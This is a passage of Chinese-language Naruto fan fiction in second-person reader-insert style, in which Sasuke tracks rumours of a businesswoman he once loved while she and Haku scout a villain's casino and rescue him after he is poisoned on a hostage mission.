归根结底还是他的错,以前的他为什么这么幼稚呢?为什么没有察觉到这些变化呢? 执行村外任务前还得要提交出村申请,他早就在收到这份任务委托的时候就将出村申请给交上去了,火影大楼的工作人员办事效率也很高,他才交上去没多久,许可就给批下来了,他在出村前将许可证展示给村口的忍者看一眼。 就这样顺利地离开村子,但他的心里还是一团乱麻,尤其是前些天他在整理你的房间时还看到了你藏在抽屉深处的收纳册,里面是他上学时在绘画课上的作品。 父亲觉得绘画对于成为忍者没有太大的助力,所以佐助很识相地没有把这种在他看来毫无意义的东西送到他面前,他也很少给哥哥看,因为哥哥也是一个优秀的忍者,说起来他们一大家子都是忍者,只有你,只有你能够理解他在绘画课上的喜悦。 于是他带着画作来到你面前,钻进你的怀里,听你轻声细语地夸奖他画得有多好。 明希,所以我最喜欢明希了。 他打开那个抽屉,如同打开潘多拉的魔盒,看见藏在里面的收纳册,那些早就已经被他遗忘的画作都被你好好地收起来了。 看到这个收纳册的佐助心情一连烦闷了好几天,他多想见一见你,多想问问你这些年过得好不好,过得好他会为你感到高兴,过得不好他又会心疼。 心里乱糟糟的,烦躁的情绪溢于言表,以至于中途在路边的茶馆停下来休息喝茶的时候店员面对他大气都不敢出,小心翼翼地问他要点什么。 “一杯浓茶,再加上……绿豆糕吧。”他说。 茶馆里乱糟糟的,坐落在这种不同国家交界地的茶馆就是这样鱼龙混杂,各式各样的人聚在一起,有的人低声窃窃私语,有的人扯着大嗓门说自己找到一份好差事。 “你们还不知道吧,听说我的老家,就是那个酒之国啦,之前被恶霸给垄断了葡萄酒产业,当地人没办法,只能跑到外面去讨生活,现在好啦,听说那群恶霸都被赶跑了,我也总算是能回老家工作去了,比起当木匠,我还是更喜欢去种葡萄。” 那个满脸横肉的男人脸上洋溢着喜悦的神色,他还劝说同行的人也去他的老家看看,“那里气候很舒服的,很适合生活,你们要是去了我保准你们会喜欢的。” 佐助安静地听着,这时候店员端着浓茶还有一碟绿豆糕走到桌边,“给——您点的茶水还有绿豆糕。” “对啦,听说赶跑那群恶霸的人还是个女人呢。” “这么厉害的女人?” “喂——你可别小瞧女人啊,我们岛上的女人用起枪来随随便便就能把你的脑袋开个窟窿!” “哈哈哈,我收回刚才的话。” 男人继续说:“不过是个从外面来的女人,说是要在我们的岛上重新发展葡萄酒产业。” “那她就是个商人咯?” “差不多吧,在我看来也是个大好人。” 他们的对话逐渐进入尾声,但佐助的思绪却被他们的对话牵引到了遥远的地方,直觉告诉他对方讨论的人很可能是你,他顿时连喝茶的心思都没了,径直朝着他们那一桌走去,在唯一的空位上坐下。 对方看到他额头上的木叶护额,低声说了一句,“木叶村的忍者?” 佐助话锋直指那个大嗓门的男人,说:“那个商人长什么样?叫什么名字?” 男人迟疑了一下,额角冒出一层冷汗,这也不能怪他,他们聊得好好的,突然间挤进一个面色冷峻的忍者,换做是谁都会有所警惕的吧? “这个……” “不用担心,我对你们没有恶意。”说着,佐助抬起头对他们笑了一下,虽然那笑容转瞬即逝,但男人也可以借此确定佐助确实没有恶意,他这才继续往下说:“听说是个很漂亮的女人,名字叫什么我就不清楚了,好像是明……明什么来着,啊呀,总之她就是个大好人。”男人说到最后这样来了一句总结的话。 佐助的心跳都有一瞬间的错乱,通过对方的话语他可以确认那就是你,他说:“多谢了。” 他回到自己的位置上安静地喝茶,在临走前把那一桌客人的账也给结了。 虽然现在就很想去酒之国找到你,但是……他还有任务在身,当务之急还是先完成这个解救人质的任务。 要是能快些完成任务的话,那他就能有更多的时间去寻找你了,这样想着的佐助在接下来的路途中都没怎么停歇过,以自己最快的速度前往玉之国。 * 在佐助前往玉之国的同时你刚结束那一场宴会,那场宴会在小岛上的另外一个庄园里举办,这个庄园就比佑子的庄园繁华许多,你喝了几杯酒,因为是在葡萄酒的产地,所以你这次喝的不是香槟而是有些年头的红葡萄酒。 暗红色的葡萄酒装在醒酒器里,在接触空气之后味道更加醇厚,你喝了一杯,心说自己真是来对地方了,你端着酒杯,说:“这样好的葡萄酒要是不能销往全国各地那真是太可惜了,是其他人的损失啊。” 你这一番话让周围的宾客纷纷露出笑容,你又喝了一口葡萄酒,味道确实不错,喝到后面你的脑袋都有些昏昏沉沉的,好在白及时扶着你到户外的花园里坐着吹吹风,你这才感觉好多了。 “一个不留神就喝多了呢。”你笑着说。 “没关系,我待会给你煮醒酒汤好了。” “也不用太快准备,偶尔醉生梦死一下也挺好的。”毕竟这个世界还是太糟糕了,而你也不是救世主,只是个普通人,顶多就是稍微有点聪明头脑的普通人。 如果说完全置身事外的话,你又做不到,让你完全无私奉献一切你也做不到,你就是个很普通的俗人而已。 白把你身上的外衣又收拢了一点避免夜风吹到你,你静静地凝望着远处漆黑的天空,“天空好黑啊。” “因为是在晚上啊。” “月亮也是……暗沉沉的,明天肯定又是让人心烦意乱的一天。”你说着,最后靠着白的肩膀沉沉地睡了过去。 等止水找过来的时候你都已经睡着有一会了,白朝着止水递去一个眼神,后者顿时会意,放轻自己的脚步,静悄悄地靠近你,然后问道:“她什么时候睡着的?” “就在刚才,怎么,你要对她说些什么吗?”别看他这么问了,但他可不会好心地替这个宇智波转述的,所以只是出于客套才很敷衍地问一下而已。 止水注视着你熟睡的侧影,目光柔和,他什么都没说只是安静地摇了摇头。 一直在外面吹风也不好,白抱起你朝着客房的方向走去,止水也跟在旁边,走出一段路后他就问:“你是从什么时候开始跟随明希的?” 这是在套话吗?不不不,他一点掩饰都没有,就这么直接地发问了,这可不算是套话。 “我没有告诉你的义务。”白说着,又调整你的姿势,让你的脑袋靠在他的肩膀上,止水撇撇嘴,果然,他就知道白是不会回答的。 止水自顾自地说起自己和你一同过年的时候发生的事情,你们约好了要去看雪,但是等到后半夜都没下雪,你等着等着睡过去了,最后是止水背着你回去的。 你靠在他后背,轻飘飘的,走到一半漆黑的夜空就开始飘雪,止水多想告诉你下雪了,但考虑到你还在睡觉,就只能暂时保持安静,直到把你送回家,你这才有些醒过来,你一睁开就看见止水兴奋地对你说:“明希,下雪了哦。” 睡得晕晕乎乎的你“哦”了一声,声音很平淡然后被鼬前者哦送回自己的房间。 止水还是难以忘记那段回忆,无论是你靠在他的后背呼出的气息掠过他后颈的温热,还是你迷迷糊糊的嗓音,这些小细节他都记得一清二楚。 白听着听着就开始皱眉,等一下,他好像没 有说过自己要听这家伙说暗恋你的心路历程吧?他为什么那么自然而然地就开始诉说自己对你的喜欢了呢?这是什么很重要的事情吗?他对此一点都不感兴趣啊。 “你说这些废话又是什么意思?”白在其他人面前说话都是绵里藏针的,偶尔也会格外尖锐,现在就属于这个偶尔的情况,他没耐心也没兴趣去了解止水对你有多喜欢。 止水笑得眉眼弯弯,“没什么,只是想告诉你我曾经在她的生命中留下过印记。” 他们这些宇智波还真是充满自信,总是自认为自己是独一无二的一个,那个叫做宇智波鼬的也好,叫做带土的也好,甚至是眼前这个叫做止水的宇智波,他们都觉得自己是特别的。 白的眼睛都没有眨一下,他说:“我想你们似乎是把自己看得太重要了,但其实对于明希来说,你们也只是消遣而已,嗯……三分钟热度的消遣。” 送你回到庄园的客房,白替你盖上被子,而后就去厨房给你煮醒酒汤,等他端着醒酒汤回到房间里的时候你已经醒过来了,目光看向天花板,窗帘上的镂空花纹被月光这么一照就印在天花板上成了一块块的小圆点。 再次醒过来的你全然不像个醉酒的人,你的神情显得很清醒,你的视线慢慢地,如同流水似的沿着天花板向下滴落,最后落在白的身上,你说:“咦……醒酒汤这么快就煮好了吗?” “我没想到明希你这就醒了。”白说着,将热气腾腾的醒酒汤放在旁边散热。 你靠着床头坐起来,说:“嗯,我也没有想到,就很突然的……一下子就醒了,就这样咻地一下从梦里掉进现实里,一点缓冲都没有。” 此刻的你全然没有方才在宴会上神采奕奕的模样,你的眉眼间漫上层层叠叠的疲倦,你说:“感觉自己的社交能量都耗尽了。” “那今天晚上就好好睡一觉吧。” “对了,止水呢?”你问起他的下落,白用勺子搅拌醒酒汤的动作停顿了一下,他说:“应该就在隔壁休息吧,明希你是要见一见他吗?” 那倒也没有你就只是随口一问而已,因为你到宴会快要结束的时候就睡着了,之后发生的事情你一概不知,所以你后来一边喝醒酒汤一边询问白后面的事情,白一五一十地回答你。 醒酒汤你喝了一半就感觉差不多了,强忍着睡意去洗漱,最后一头栽倒在柔软的床铺里,这样的一天才算是结束。 隔天醒来的时候你看到了止水留下的纸条说是自己要去完成你布置的任务了,你就没见过这么热爱工作的人,和看到纸条时略带惊讶的你有所不同,白的眼神从那张纸条上一扫而过,反倒是在庆幸止水总算是很识相地离开了这里。 要不然他总是留在这里也会给你添麻烦的。 你开始着手处理葡萄园的产权转移,然后和其他庄园的主人讨论当地的产业发展,就这样时间流逝得飞快,你在不久后也收到了止水的回信。 那封信是由乌鸦送来的,现在你见到乌鸦都会下意识地思考那是不是止水豢养的。 将那封信交给你,你为了表示感谢也送了乌鸦一些坚果,它一边吃见过,你一边看信件。 那封信很简短,但是内容都是关键内容,就比如说他在信里提到的玉之国,还有卡多订购的那一批具有成瘾性的葡萄酒最终送往的地方也是玉之国赌城的地下室,你合理怀疑卡多就是想要利用这些加了料的葡萄酒来控制那些赌场的客人。 卡多会做出这种事情你说实话是一点都不惊讶,倒不如说在这个世界上的大部分商人和权贵都没有将他人的性命放在眼里,在他们看来这不过是可以利用的东西而已,但你无法做到这种程度。 你越是这样有底线,其他人就愈发看你如同异类,因为你的行为与他们格格不入,所以他们也无法确定你什么时候会对他们产生不利。 党同伐异是这一类人的本能。 你将那封信丢进火堆里,信纸瞬间被火苗吞噬最后化为灰烬,你转过头对白说:“看来是时候要去玉之国一趟了。” 你可以借此机会来扰乱卡多的赌场生意,要是能直接把他的赌场据为己有就好了。 想到这里,你就又恢复活力,心里思索着把他的赌场拿到手以后该怎么改造比较好呢?你对赌场的兴趣不大,毕竟那种地方很容易滋生犯罪,你虽然是个黑心资本家,但也只是稍微有点黑心而已,你在发展自己的产业时大部分时候手段都是合法合规的。 至于雇佣忍者杀死自己的竞争对手,这就属于商战的内容了。 现实生活中的商战可没有小说里写得那么环环相扣运筹帷幄,直接手起刀落解决掉对方就是最简单粗暴的方法,同时也是最有效的方法。 话题好像跑远了,言归正传,你安静地注视着那火苗熄灭,而后对白说:“是时候去别的地方看看了,白你是不是没去过赌场啊?” 白点点头,但他知道玉之国的支柱产业之一就是赌博,围绕着赌场发展出很多灰色产业,红灯区是最浮于表面的灰色产业,除此之外的成瘾药品的泛滥,还有各类见不得光的产业,你的手指摩挲着下巴,“那就陪我去看看吧。” 你在离开这座小岛前佑子还送了很多不同口味的奶酪给你,她握住你的手,说:“下次你还会回来吗?” 谁又能知道下次是什么时候呢?你看着佑子苍老的面庞,想起自己上辈子也是这样,被家里的老人握住手询问什么时候回来。 啊……上辈子的事情距离你好遥远啊。 你说:“我尽量。” “那注意安全,愿你一切都好。”说着,佑子对着你做了个祈祷的手势。 白接过佑子自制的奶酪,你和她告别后去往码头,船票很充足,等到了码头再买也不迟。 “要两张特等船舱的船票。”白买了两张票,你将遮阳帽的帽檐压低几分,于是乎自己的整张脸都被阴影笼罩。 视野里跃入白的手掌,他手里拿着刚买的两张票,说:“现在就可以登船了。” 你应了一声,提前吃的晕船药发挥药效,时间来到晚上,夜晚的海风呼啸而过,外面又是黑漆漆的一片,这让你更加不想离开房间,好在特等船舱里该有的设施一应俱全,而且还能直接点餐,会有服务员送上门。 这些便利让你更加不想动了,你懒洋洋地平躺在柔软的床铺上,船只在漆黑的海浪中穿行,跟随着波浪起起伏伏。 晚餐是简单的面包片,因为你没什么胃口,凑合吃点面包片应付一下就好,酥脆的面包片上涂抹着佑子送的奶酪,你最喜欢香草口味的奶酪,那是货真价实的香草,你甚至还能品尝到细小的颗粒。 你放空大脑,漫不经心地吃着涂满了奶酪的面包片,说实话你有点好奇带土突然消失以后去了哪里,不过他平常也不怎么告知你他的行踪,你也懒得问,现在只是冷不丁地,有点突兀地想到了而已。 “要喝点安神茶吗?”白提早给你泡好了安神茶,你一片面包下肚,确实有点腻,因为上面的奶酪可是有你的一个指节那么厚的,饱腹感十足。 你接过茶杯,然后又打开系统面板,说起来你好像在雨之国也有一点产业,啊……你的珠宝产业就是从那里进货的,当初你都没想过在玉之国发展自己的势力,原因也很简单,因为那里是卡多的地盘,而且你那个时候还在发展期,和对方这么个老商人硬碰硬实在是不理智。 但现在不一样了,你可以开始考虑一点点地吞并别人的产业。 你这么做可是在主持正义啊,虽然这个世界的正义少得可怜。 手里的安神茶喝到一半,你点击关闭系统面板,跟条咸鱼似的四仰八叉地占据自己的床铺,白问你头疼吗?你说还好, 就是外面的风声太大,莫名给你一种暴风雨即将肆虐的即视感。 好像在拍灾难片。 你在入睡前戴了耳塞,睡眠质量虽然打了折扣,但是折扣力度不大,顶多就是八九折吧。 抵达玉之国都已经是几天后的事情了。 在这途中最让你高兴的事情莫过于在茗之国的工程队负责人发来的消息,说是那里的铁路总算是修好了,询问你什么时候有空莅临参观,你高兴得在原地转了一圈,白虽然不知道信件的内容,但看到你这么高兴,他也跟着高兴,你牵着白的手蹦蹦跳跳的。 “真好,以后就不用这样徒步赶路了。”你说话的语调都是喜气洋洋的。 “所以那是从茗之国传来的信件吗?”白对你的各类计划都很了解,只是通过你的一句话就猜到了那封信的内容,你说:“是啊,下次吧,有空的时候去看看新建成的铁路吧!” 白学着你的样子蹦蹦跳跳的,你们两个就像是在跳踢踏舞。 等你这股高兴劲稍微变淡一点,你也收敛起自己的动作,你说:“既然铁路已经成功了,那么下一步就是飞机——!” 说起关于未来的规划,你的双眼都变得亮晶晶的,白安静地看着你,他想,只要是能够让你开心的话,无论付出怎样的代价都是值得的。 因为有这个好消息,你在接下来的路途里心情一直都很不错,嘴里甚至偶尔还会哼着轻快的小调。 你和白就在这样轻松愉悦的氛围下来到玉之国的边境,玉之国有好几样不缺的东西的,不缺原石,不缺赌场,更不缺赌徒。 每天都会有来自世界各地的游客闻名而来,以为自己能在这里成为万里挑一的幸运儿,赌出绝佳的宝石,亦或是在赌场里一夜暴富。 这种东西你在上辈子见得多了,只能说人类的共性无论在哪个世界都是一样的。 你这次来玉之国更多的是出于观察的目的,你也没想着直接动手,毕竟这里是卡多的地盘,简单来说就是你先来踩个点,等时机成熟了再把卡多的地盘给掀了,这样的做法显然更加稳妥,而且成功率还高。 和白伪装成来旅游的游客,为了降低他人的戒备心,白又一次换上女装,在旁人看来你们像是一对姐妹花,你笑着对白说:“感觉白穿女装好像更好看欸。” 白认真地回答:“那明希需要我以后都这幅打扮吗?” 只要你说一声,他就会真的照做,你说:“啊……那就没有新鲜感了,所以白你平常还是穿常服吧。” 偶尔这样来一次就好。 你们一路从边境的小镇来到玉之国的都城,同时也是一座大型的赌城。你站在赌城外的山坡上眺望远方,虽说现在还是白天,但这座赌城仍然繁华,无数人带着暴富的梦想来到这里,最后能够全身而退的屈指可数。 虽说之前你和卡多接触过,但是他并没有见过你的真面目,出于谨慎起见你出席那些重要的会议都会乔装打扮一番,这次也不例外,你对自己的五官稍微动了点手脚,看上去没有那么吸引人的注意力,属于别人看一眼就会忘记的长相,这就达到了你想要的效果。 你和白混入人群里走向赌场,在入口处购买门票,赌场的空气里漂浮着一股说不出来的香味,你微微皱起眉,白说:“这种香味让人闻了以后神经亢奋,如果浓度再高一点的话就会让人丧失理智。” 简单来说就是让那些客人变得情绪化,而在赌桌上情绪化的下场往往就是输掉手头所有的筹码,这还只是个开始,因为就算输掉了筹码赌场也会贴心地提供借贷服务,然后将人一步一步地引向深渊。 你皱皱眉,还好只要不在这里停留太久这种香味倒是不会对你产生太大的影响。 赌场内部有好几层,第一层就是最基础的赌博项目,如果要去到上面的楼层还得要获得VIP身份才行。 白利用幻术成功带着你来到上面的楼层,你可不会为了获得VIP的身份在这里花钱,毕竟你花的钱都会进入卡多的口袋里,让自己的对手赚钱比杀了你还难过。 幻术的好处此刻体现得淋漓尽致,你跟在白后头,一路畅通无阻,最后转了一圈,感觉踩点得差不多了才准备下楼。 沿着楼梯往下走,你突然间听见白“咦”了一声,他说他感受到了查克拉的波动,你说:“在这种鱼龙混杂的地方混入几个忍者也不奇怪。” 可白的表情很微妙,他总觉得那不是普通的忍者,尤其是那股查克拉…… 你顺着白的视线看去,好吧,你终于知道为什么白会那么奇怪了,你看见了那一道熟悉的背影,以前在木叶总是跟在你身后,一声又一声地叫着你的名字,那是宇智波鼬的弟弟佐助。 “奇怪……他怎么会出现在这里?”总不可能是沾上赌瘾了吧?虽说你甩了他的哥哥,但你对佐助本人倒是还挺喜欢的,毕竟他可比他的哥哥讨喜多了,说话也更好听,而且还没有他的哥哥那么谜语人。 所以要是他真的误入歧途了,你觉得自己也有义务把他给拽回来,不过嘛,你觉得他染上赌瘾的可能性很小,他来这里的原因更有可能是来完成任务的。 “他利用变身术走到地下室去了。”白低声向你汇报佐助的情况。 至于佐助到底是来赌场做什么的,不妨把时间拨回到几天前,在佐助离开茶馆前往的玉之国的时间点上。 正如他的哥哥鼬所说的,这个国家赌石成风,不仅是边陲小镇,就连都城里也随处可见切割原石的店铺,而每次切割原石对于那些赌徒来说无异于一次开奖。 除了切割原石的店铺,还有各类售卖原石的商店,店主一看佐助是从外头来的游客就竭尽全力地向他推销这些原石,“别看这些原石其貌不扬,但要是等开出一颗顶级宝石来,那你接下来的一辈子都衣食无忧咯!” 真的是这样吗?其实刚才佐助在路过某个切割原石的店铺时恰好碰上有个幸运儿开出了品质绝佳的宝石,那个赌徒当场喜极而泣,店主还有周围的人都在为他欢呼雀跃,但佐助同时也注意到了那些藏在暗处的目光。 一旦有谁开出了完美的宝石,就会被无数双眼睛盯上,然后无所不用其极地引诱主人交出宝石。 所以就算真的赌赢了,有没有命花这笔钱还是个未知数呢。 将那些店主的叫卖声抛到脑后,佐助隐藏自己的气息还有身影,不动声色地来到都城最中心的赌城,除了赌场,围绕着中心赌场这栋建筑的还有各类生活设施,当然,这些生活设施都是给那些来赌博的客人使用的。 听说只要买了门票,那这里的生活设施都能免费使用,但免费的东西往往是最昂贵的东西。 许多人以为自己能够控制住内心的贪婪,见好就收,但最后只会成为滋养这座赌城的养料。 从潜入赌场开始佐助就亲眼目睹了不少因为一场赌博而倾家荡产的人,他们的脸色灰白,不相信自己真的输了,有的甚至当场发疯,然后被现场的安保人员给拖走。 佐助静静地观望着,目光追随着安保。 这座赌场有十几层,这里指的是地上的楼层,地下还有几层,而根据佐助收集到的信息,那些被威胁的人就被关押在地下。佐助沿着那条隐秘的通道来到地下一层,但很显而易见的,他这次任务的目标任务并不在这里,毕竟地下一层关押的都是一些因为输了钱情绪崩溃的客人。 至于那些被囚禁起来作为人质威胁家属给钱的客人应该在更下面几层,佐助利用变身术变成其中一个人员工的模样,至于那个原来的员工自然是被他用幻术催眠,现在正蜷缩在隐蔽的角落里昏迷不醒。 通过变身术变成员工以后他就没必要那么小心翼翼地躲躲藏藏了,他跟在其他人后头,看着他们用钥匙打开通往更下面几层的铁栅栏。 咔哒 一声,铁栅栏被打开,根据之前偷听到的其他员工的对话,佐助可以确定他的任务目标就在这一层,他尽可能地降低自己的存在感,再趁他们还没反应过来的时候用写轮眼将他们全都催眠。 这样一来任务难度就大大下降了,他拿着钥匙打开门,一打开门,扑面而来的就是一股沉闷的气味,空气中还混杂着浓重的血腥味,饶是已经做好心理准备的佐助也微微皱起眉。 要是任务目标死在这里那就糟糕了,这样想着的佐助走到房间里,查看任务对象的情况,还好,只是昏迷过去了而已,至少还留着一口气,他将男人扛了起来,毫不犹豫地带着男人离开这里。 然而他还是把这次的任务想得太简单了,因为在他迈出这个房间门的一瞬间屋外就被四五个忍者围住,而且定睛一看都是叛忍,幕后老板卡多从那些忍者身后走出来,得意洋洋地笑着说:“看来这次来的还是个木叶的宇智波啊,我可是听说了宇智波的写轮眼放在黑市上可是能卖出天价的呢,正好,我也能再赚一笔。” 卡多贪婪的眼神直直地盯着佐助那双猩红的写轮眼。 听到对方那么说,佐助扯了扯嘴角,说:“不自量力,那就得要看看你们有没有本事夺走我的眼睛了。” 卡多打了个手势,对着身边的叛忍说:“把他拿下——” 佐助单手扛着任务对象,另外一只手从忍具包里的取出几枚苦无,动作干脆利落地甩出去,其中好几枚苦无刺中敌人的身体。 少年一个俯身躲过其他人的攻击。 嘁,果然带着任务对象攻击会受到影响吗……他的眉头紧皱,抽出的刀剑挡下对方的长刀,兵戎相接发出短促的碰撞声。 佐助扛着任务对象向后撤退与此同时环顾四周,在这条狭小的长廊上很多攻击都施展不开来。 这是弊端同时也能转为对他有利的条件,佐助扯了扯嘴角,将任务对象暂时放在一边,双手飞快地结印,“火遁豪火球之术——” 一时间狭小的长廊里炽热的火焰波涛汹涌,卡多躲在手下身后,有一两个打手躲避不急,被火焰吞没,卡多没好气地大喊道:“快把他给我抓住!” 想要抓住他可不是一件简单的事情,佐助留下用替身术伪造出的自己和任务对象,以此来混淆视听。 等敌人穿过豪火球的火焰试图抓住佐助,却发现那是替身术,等他们意识到这一点的时候已经太晚了,佐助早已带着任务对象逃之夭夭。 但赌场的占地面积太大,而且他们在发现佐助带着人质逃跑以后当即开启警戒模式,将赌场所有的出口都封锁。 广播里传来一道温柔的女声,说着:“请各位客人不要惊慌,接下来赌场将进行定期的消防检查,请各位客人不要随意离开当前区域。” 消防检查吗?听到这广播声的佐助面无表情,这还真是蹩脚的理由啊,就算所有出口都封锁了,那肯定还有可以逃跑的隐蔽出口。 这突如其来的消防检查也引起你的怀疑,你一下子就猜到了这很可能是因为佐助在地下室搞出了什么岔子,使得卡多立刻命令手下的人封锁出口,这下子好了,你想要逃跑都难,不过嘛,你这边的情况倒是没有佐助那边的紧急,毕竟你只是一时半会没办法离开赌场而已。 而佐助要是被抓住的话那就麻烦了,站在二楼围栏旁的你若有若思地看向一楼的大厅,白似乎看穿了你的想法,他说:“我去帮忙吧,毕竟佐助也是明希你喜欢的孩子,总不可能眼睁睁地看着他被抓吧。” 白的话说到你的心坎上了,虽然你和他的哥哥闹得不愉快,但你也没必要迁怒到佐助身上,所以你说:“你能确定他现在的位置吗?” 白缓慢地眨了一下眼睛,而后说:“大概位置能够确定,但他好像一直都在快速移动中。” 正常,他现在可是在逃命啊。 白派出去的影分.身在搜寻佐助的踪迹,他捕捉到了佐助的身影,后者看起来重心不稳,甚至走起路来还有些踉踉跄跄的。 是中毒了吗?白通过分析佐助的动作确定他这中毒了,而且很可能还是神经毒素,也就是说如果不马上解毒的话,很可能会丧命。 看来得要暂时留在这个赌场了。 从地下室逃脱的佐助是过了一会才发觉自己好像中了毒,思来想去,应该是地下室的空气里带着毒素,毒素侵蚀着他的神智,他的身体逐渐变得沉重,他从一开始的飞奔变成快步走,到最后身形摇摇欲坠,这一过程耗时不到两分钟,神经性毒素的威力就是那么可怕。 到最后他都是用自己的意志力在支撑着走下去的。 不行,绝对不能倒在这里——! 眼皮也变得好沉重,在陷入昏迷前的最后一刻他的视野里捕捉到一抹身影,有些熟悉的……身影。 下一秒他的意识就断了片,眼看着他就要倒下,白扶住他,你在白的本体带领下也赶到这里,你看着佐助嘴唇发紫,说:“他中毒了?” “嗯,应该是神经性毒素。”白一边说着一边从储物卷轴里取出解毒剂,他的性格就是这样未雨绸缪,光是解毒剂他就准备了很多种,这些解毒剂都是你给砂忍村投了好几笔赞助后得来的,砂忍村本来就资金短缺,外加之地理位置不怎么样,都没什么商人去那里做生意,你在那里建造的几个工厂算是极大程度上地缓解了当地的经济压力。 所以你手头有很多解毒剂,不光是解毒的,他们还送了很多千奇百怪的毒.药过来,类似于满赠的礼品。 话题好像跑偏了,关键在于,你手边有很多解毒剂,虽然可能暂时无法完全解毒,但至少可以保证毒素不会蔓延。 白动作熟练地给昏迷中的佐助注射解毒剂,最后一滴解毒剂被推进血管里,你听见了远处传来的动静,估计是卡多还有他的手下找了过来。 你和白交换一个眼神,白的分.身扛起那个浑身鲜血淋漓的男人,本体扶着昏迷的佐助,还好你们刚才已经在赌场里转过一圈了,你直接带着白来到楼上空的客房,毫不客气地直接打开门。 虽然你没付钱,但是不出意外的话过不了多久这座赌场都会是你的东西,所以你现在随意找一间客房入住有什么不对的吗? 你关上门,分析现在的情况,外面的搜寻还没有停下,迟早会找到这里的,你双手环胸,脸上没什么惊慌失措的表情反倒是十足的胸有成竹。 要说你成为商人以后学会的最有用的技能是什么,那当然是见人说人话见鬼说鬼话了,只要你想,你可以随意地说服对方。 卡多毕竟也是个商人,不可能为了追捕一个忍者就将整个赌场都翻个底朝天,因为这样也会冒犯到那些贵宾,你恰恰拿捏了他的这一心态,等客房的门被敲响的时候你等了一会才去开门,唰地一下打开门,态度比门外的打手还要气势汹汹,你微微扬起下巴,质问道:“一开始说是消防演练,现在又来敲门做什么?你们坏了我的好事动不动?” “听好了,我来你们赌场是来放松享受的,不是来陪你们折腾的,懂吗?” 你一上来就说出这一堆咄咄逼人的话,摆明了你的是个不好招惹的客人,打手也能分清孰轻孰重,他们对视一眼用公事公办的态度说:“抱歉,但我们必须进去查看。” “可以,但要是没找到什么东西的话,这就是你们对我的冒犯了。” 话音落下,你侧身让他们过去,那些个打手在房间里转了一圈,除了一些生活痕迹,例如放在桌椅上的衣服外套,还有放在洗漱台上的梳妆包,除此之外什么都没发现,他们也自知理亏,离开的时候说话都是轻声细语的。 你没好气地关上门,脸上没有惊恐,有的只是对自己演技的满意和欣赏。 看来你还是有点表演天赋在身上的。 白的声音从你身后传来,他说:“明希,你要过来看看他的情况吗?” 你这才从门口走到客厅,刚才白将佐助还有另外一个男人藏了起来,一等到那些打手离开后才解除伪装,你走到昏迷的佐助身边,发现才一两年没见而已,他就又长高不少。 原本肉乎乎的脸颊也变得瘦削许多,五官跟着长开,长相俊秀,是和他的哥哥鼬不太相似的风格,如果真要 说的话,你觉得宇智波鼬的长相更加温婉一些,佐助的长相是带着十足少年锐气的清秀。 然而他们两者的性格和长相是完全相反的,宇智波鼬没有那么温和,在你看来佐助才是性格最温和的一个宇智波。 你弯腰,伸出手触碰他的额头,在发烫啊,果然是发烧了,你又问:“解毒剂没有起效吗?” “这是正常现象,说明身体正在恢复中,排出毒素也要花费一些时间。”白耐心地解释道。 你点了点头,所以估计佐助就是来这里执行任务的,然后一个不留神就掉入了卡多的陷阱。 你坐在佐助身边,掌心覆盖着他的额头,原本还皱着眉的佐助因为你的动作而眉头舒展。 白观察着他的变化,心情莫名复杂,他曾经以为自己是佐助的替代品,但现在看来,他好像想多了,除了黑发,他和佐助没什么相同点。 而你看起来也更加关心他,白端着水杯的手微微收紧,他说:“明希……” “怎么了?”你回过头看了他一眼。 “没什么,我只是在想此地不宜久留,我们最好还是找个机会离开这里。” “嗯,等到他身体恢复得差不多了我们就走吧。” 第37章 话是这么说的,但现在这个情况你和白也无法轻易离开,说到底你这次踩点也是被佐助给连累了,你坐在佐助身边,他还处在昏迷状态,面颊上满是绯红,眼睫在轻轻颤抖着,嘴唇翕动,发出的都是毫无意义的单音节。 你说:“这么久没见你送我的见面礼倒是别致啊。” 佐助自然是没听见你说的话,你也没指望他能听清楚。 白的分.身出去办理入住的手续,听上去好像还挺合规矩的,实际上就是去给赌场的工作人员再上一层幻术而已,然后你们就能暂时心安理得地在赌场里过夜了。 你在情急之下挑选的房间位置不错,内部的摆设也还算让你满意,那你就勉为其难地在这里住一晚吧。 晚上有白负责守夜,但因为你稍微有点认床,所以睡眠质量不太好,你在隔天一大清早就醒了过来,真少见,你在平常可都是要睡懒觉的人,但今天你一点睡懒觉的想法都没有,醒来以后就很自然地起床。 唯一让你有些满意的是今天窗外的阳光灿烂,你将窗户半打开,正好可以通风,而且阳光也跟着洒进来,你从自己的房间里出来,走到客厅,佐助还在熟睡中,你悄无声息地走到他旁边,低头看了一眼。 脸颊倒是没有昨天那么红了,就是依旧没有要醒来的迹象。 行吧,那就再观察一段时间吧,不光是他,就连他的任务对象也还在昏迷中,房间里一片静谧,你将客厅的窗户打开,坐在窗户旁边的单人沙发里,屈起自己的双腿,以为一种对腰椎不太友好的坐姿看书。 虽然不健康,但这样姿势就是懒洋洋的很舒服啊,你看的是植物图鉴,这不是你的书,而是你从白的背包里翻出来的,他对植物很了解,什么植物能够入药,什么植物有毒,他都知道,简直就是移动的人形百度百科。 按理来说他都是你秘书了,平常还得要给你处理那么多的工作文件,应该已经没空再去补充这种别的知识了,但白就是能够在完美完成你给的工作的前提下还能继续读书充实自己的人。 不得不说,白要是放在上辈子肯定是当总裁秘书的好苗子。 你漫不经心地翻看植物图鉴,看这些就是图个新鲜有趣,你看到一半隐约捕捉到从他客厅沙发上传来的窸窸窣窣声响,很微弱,但因为环境太安静,所以这点细微的动静就被放大许多倍,你侧过头,恰好在这是窗外的微风吹入室内,带动浅色的纱帘。 那轻薄的纱帘被风一吹就像是在水里漾开的花瓣,花瓣拂过你的脸颊,朦胧你的侧影。 于是当佐助缓缓睁开眼,当他的视线从天花板转移到窗边时,他最先看见的是你在阳光下微微散发着光芒的身影,这幅画面太美好,以至于他下意识地怀疑自己在做梦。 因为在过去的时间里只有通过梦境才能见到你,所以这次也一定…… 可是下一秒他看见你抬起手,那曾经托着他的脸颊,抚摸他的头发,轻轻拍着他的后背的手拨开影影绰绰的纱帘。 由此,朦胧的画面变得无比清晰,少年撑着坐起来,他设想过很多个与你重逢的画面,但是、可是,他绝不会想到自己是以这种方式与你再次见面的。 跌跌撞撞地朝你跑去,踉踉跄跄地,毫无形象地,但是都没关系,他都不在乎,这些都不是最重要的。 重要的是……你就在距离他一步之遥的地方,在快要靠近你的时候他却突兀地停住脚步,怔怔地看向你,过了好几秒才找回自己的声音,小心翼翼地问道:“你……是真的吗?” 他的嗓音也发生了变化,不是太明显的变化,你算是发现了,鼬和佐助他们兄弟俩的变声期都不怎么明显。 这个问题足以透露出许多信息,比如说他很可能在此之前就经常梦到你,所以这次醒来以后见到你仍旧以为自己还在梦里。 